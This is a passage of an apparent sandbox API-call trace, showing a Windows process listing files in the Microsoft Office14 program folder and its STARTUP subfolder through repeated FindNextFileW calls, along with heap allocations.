ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa671530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.682] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc114b600, ftCreationTime.dwHighDateTime=0x1c307de, ftLastAccessTime.dwLowDateTime=0xfa671530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc114b600, ftLastWriteTime.dwHighDateTime=0x1c307de, nFileSizeHigh=0x0, nFileSizeLow=0x1d000, dwReserved0=0x0, dwReserved1=0x0, cFileName="SOLVSAMP.XLS", cAlternateFileName="")) returned 1 [0079.682] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb6a8 [0079.682] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb6a8) returned 1 [0079.682] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb6a8 [0079.683] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb6a8) returned 1 [0079.683] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb6a8 [0079.683] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xacbd70 [0079.683] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb840 [0079.683] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb6a8) returned 1 [0079.683] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc114b600, ftCreationTime.dwHighDateTime=0x1c307de, ftLastAccessTime.dwLowDateTime=0xfa671530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc114b600, ftLastWriteTime.dwHighDateTime=0x1c307de, nFileSizeHigh=0x0, nFileSizeLow=0x1d000, dwReserved0=0x0, dwReserved1=0x0, cFileName="SOLVSAMP.XLS", cAlternateFileName="")) returned 0 [0079.683] GetLastError () returned 0x12 [0079.683] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\SAMPLES\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9040 [0079.683] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0079.683] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa671530, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa671530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa671530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.683] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc114b600, ftCreationTime.dwHighDateTime=0x1c307de, ftLastAccessTime.dwLowDateTime=0xfa671530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc114b600, ftLastWriteTime.dwHighDateTime=0x1c307de, nFileSizeHigh=0x0, nFileSizeLow=0x1d000, dwReserved0=0x0, dwReserved1=0x0, cFileName="SOLVSAMP.XLS", cAlternateFileName="")) returned 1 [0079.683] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc114b600, ftCreationTime.dwHighDateTime=0x1c307de, ftLastAccessTime.dwLowDateTime=0xfa671530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc114b600, ftLastWriteTime.dwHighDateTime=0x1c307de, nFileSizeHigh=0x0, nFileSizeLow=0x1d000, dwReserved0=0x0, dwReserved1=0x0, cFileName="SOLVSAMP.XLS", cAlternateFileName="")) returned 0 [0079.683] GetLastError () returned 0x12 [0079.684] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb7b8) returned 1 [0079.684] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0079.684] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0079.684] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0079.684] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd6629a20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x8f968, dwReserved0=0x0, dwReserved1=0x0, cFileName="SAVASWEB.DLL", cAlternateFileName="")) returned 1 [0079.684] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a22a900, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd664fb80, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1a22a900, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x27ba0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SAVWBHF.DLL", cAlternateFileName="")) returned 1 [0079.684] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd66c1fa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x40f88, dwReserved0=0x0, dwReserved1=0x0, cFileName="SAVWBRAS.DLL", cAlternateFileName="")) returned 1 [0079.684] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd66c1fa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x3df88, dwReserved0=0x0, dwReserved1=0x0, cFileName="SAVWBVML.DLL", cAlternateFileName="")) returned 1 [0079.684] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x20188a00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd670e260, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x20188a00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x29388, dwReserved0=0x0, dwReserved1=0x0, cFileName="SAVWBXAML.DLL", cAlternateFileName="")) returned 1 [0079.684] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6ae6c00, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x6d24dcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe6ae6c00, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0xb7a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCANPST.EXE", cAlternateFileName="")) returned 1 [0079.684] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1e9b800, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x5a9342d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe1e9b800, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x6bfa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCNPST32.DLL", cAlternateFileName="")) returned 1 [0079.684] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe31ae500, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x5a9342d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe31ae500, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x6bfb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCNPST64.DLL", cAlternateFileName="")) returned 1 [0079.684] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf1e8f00, ftCreationTime.dwHighDateTime=0x1c74a41, ftLastAccessTime.dwLowDateTime=0x6d273e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdf1e8f00, ftLastWriteTime.dwHighDateTime=0x1c74a41, nFileSizeHigh=0x0, nFileSizeLow=0x9770, dwReserved0=0x0, dwReserved1=0x0, cFileName="SegoeChess.ttf", cAlternateFileName="")) returned 1 [0079.684] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7d4f800, ftCreationTime.dwHighDateTime=0x1cba06d, ftLastAccessTime.dwLowDateTime=0xdd891b80, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf7d4f800, ftLastWriteTime.dwHighDateTime=0x1cba06d, nFileSizeHigh=0x0, nFileSizeLow=0x94590, dwReserved0=0x0, dwReserved1=0x0, cFileName="SELFCERT.EXE", cAlternateFileName="")) returned 1 [0079.684] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6ae6c00, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x6d299f70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe6ae6c00, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x6970, dwReserved0=0x0, dwReserved1=0x0, cFileName="SENDTO.DLL", cAlternateFileName="")) returned 1 [0079.684] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45887700, ftCreationTime.dwHighDateTime=0x1ca9121, ftLastAccessTime.dwLowDateTime=0x5a9342d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x45887700, ftLastWriteTime.dwHighDateTime=0x1ca9121, nFileSizeHigh=0x0, nFileSizeLow=0x15780, dwReserved0=0x0, dwReserved1=0x0, cFileName="SEQCHK10.DLL", cAlternateFileName="")) returned 1 [0079.684] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c961300, ftCreationTime.dwHighDateTime=0x1cab7c9, ftLastAccessTime.dwLowDateTime=0x5a95a430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7c961300, ftLastWriteTime.dwHighDateTime=0x1cab7c9, nFileSizeHigh=0x0, nFileSizeLow=0x9380, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETLANG.EXE", cAlternateFileName="")) returned 1 [0079.684] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a22a900, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd0af6f40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1a22a900, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x222b68, dwReserved0=0x0, dwReserved1=0x0, cFileName="SG.DLL", cAlternateFileName="")) returned 1 [0079.684] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd67343c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x52b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="SHAPNUM.DLL", cAlternateFileName="")) returned 1 [0079.684] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67868700, ftCreationTime.dwHighDateTime=0x1cacbb1, ftLastAccessTime.dwLowDateTime=0x5a95a430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x67868700, ftLastWriteTime.dwHighDateTime=0x1cacbb1, nFileSizeHigh=0x0, nFileSizeLow=0x46f70, dwReserved0=0x0, dwReserved1=0x0, cFileName="SHAREPOINTPROVIDER.DLL", cAlternateFileName="")) returned 1 [0079.684] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd84a0f00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5a980590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd84a0f00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x67, dwReserved0=0x0, dwReserved1=0x0, cFileName="SketchPadTestSchema.xml", cAlternateFileName="")) returned 1 [0079.684] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x861bf100, ftCreationTime.dwHighDateTime=0x1cabc89, ftLastAccessTime.dwLowDateTime=0x5a9f29b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x861bf100, ftLastWriteTime.dwHighDateTime=0x1cabc89, nFileSizeHigh=0x0, nFileSizeLow=0x80fb, dwReserved0=0x0, dwReserved1=0x0, cFileName="SLERROR.XML", cAlternateFileName="")) returned 1 [0079.684] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ebbec00, ftCreationTime.dwHighDateTime=0x1cab8a8, ftLastAccessTime.dwLowDateTime=0x84cd39e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3ebbec00, ftLastWriteTime.dwHighDateTime=0x1cab8a8, nFileSizeHigh=0x0, nFileSizeLow=0x37d70, dwReserved0=0x0, dwReserved1=0x0, cFileName="SMIGRATE.DLL", cAlternateFileName="")) returned 1 [0079.685] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2e9100, ftCreationTime.dwHighDateTime=0x1cab8ab, ftLastAccessTime.dwLowDateTime=0x6d37e7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb2e9100, ftLastWriteTime.dwHighDateTime=0x1cab8ab, nFileSizeHigh=0x0, nFileSizeLow=0xa8b90, dwReserved0=0x0, dwReserved1=0x0, cFileName="SOA.DLL", cAlternateFileName="")) returned 1 [0079.685] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67868700, ftCreationTime.dwHighDateTime=0x1cacbb1, ftLastAccessTime.dwLowDateTime=0x5aad71f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x67868700, ftLastWriteTime.dwHighDateTime=0x1cacbb1, nFileSizeHigh=0x0, nFileSizeLow=0x264780, dwReserved0=0x0, dwReserved1=0x0, cFileName="SOCIALCONNECTOR.DLL", cAlternateFileName="")) returned 1 [0079.685] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x66555a00, ftCreationTime.dwHighDateTime=0x1cacbb1, ftLastAccessTime.dwLowDateTime=0x6d37e7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x66555a00, ftLastWriteTime.dwHighDateTime=0x1cacbb1, nFileSizeHigh=0x0, nFileSizeLow=0x8fa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SOCIALPROVIDER.DLL", cAlternateFileName="")) returned 1 [0079.685] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd675a520, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x57f78, dwReserved0=0x0, dwReserved1=0x0, cFileName="SOLUTILS.DLL", cAlternateFileName="")) returned 1 [0079.685] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd11e7f00, ftCreationTime.dwHighDateTime=0x1c3e388, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd11e7f00, ftLastWriteTime.dwHighDateTime=0x1c3e388, nFileSizeHigh=0x0, nFileSizeLow=0x597e9, dwReserved0=0x0, dwReserved1=0x0, cFileName="SPANISH.LNG", cAlternateFileName="")) returned 1 [0079.685] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd718e200, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5aad71f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd718e200, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x173e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="SplashScreen.bmp", cAlternateFileName="")) returned 1 [0079.685] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x20188a00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd6780680, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x20188a00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x3d7a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="SQLSHARE.DLL", cAlternateFileName="")) returned 1 [0079.685] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaef96c00, ftCreationTime.dwHighDateTime=0x1ca5083, ftLastAccessTime.dwLowDateTime=0x6d3caa70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xaef96c00, ftLastWriteTime.dwHighDateTime=0x1ca5083, nFileSizeHigh=0x0, nFileSizeLow=0x24748, dwReserved0=0x0, dwReserved1=0x0, cFileName="SSGEN.DLL", cAlternateFileName="")) returned 1 [0079.685] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="STARTUP", cAlternateFileName="")) returned 1 [0079.685] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0079.685] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\STARTUP" (normalized: "c:\\program files\\microsoft office\\office14\\startup"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0079.685] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\STARTUP" (normalized: "c:\\program files\\microsoft office\\office14\\startup"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0079.685] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0079.685] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11f19d8 [0079.686] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11f19d8, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x11f19d8, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0079.686] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f19d8) returned 1 [0079.686] NtClose (Handle=0x168) returned 0x0 [0079.686] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0079.686] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0079.686] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0079.686] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb7b8 [0079.686] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\STARTUP\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9040 [0079.686] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.686] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0079.686] GetLastError () returned 0x12 [0079.686] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\STARTUP\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9080 [0079.687] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0079.687] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.687] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0079.687] GetLastError () returned 0x12 [0079.687] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb7b8) returned 1 [0079.687] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0079.687] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0079.687] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0079.687] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e8d5600, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xde61b8a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x7e8d5600, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x3bb598, dwReserved0=0x0, dwReserved1=0x0, cFileName="STSLIST.DLL", cAlternateFileName="")) returned 1 [0079.687] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd67a67e0, 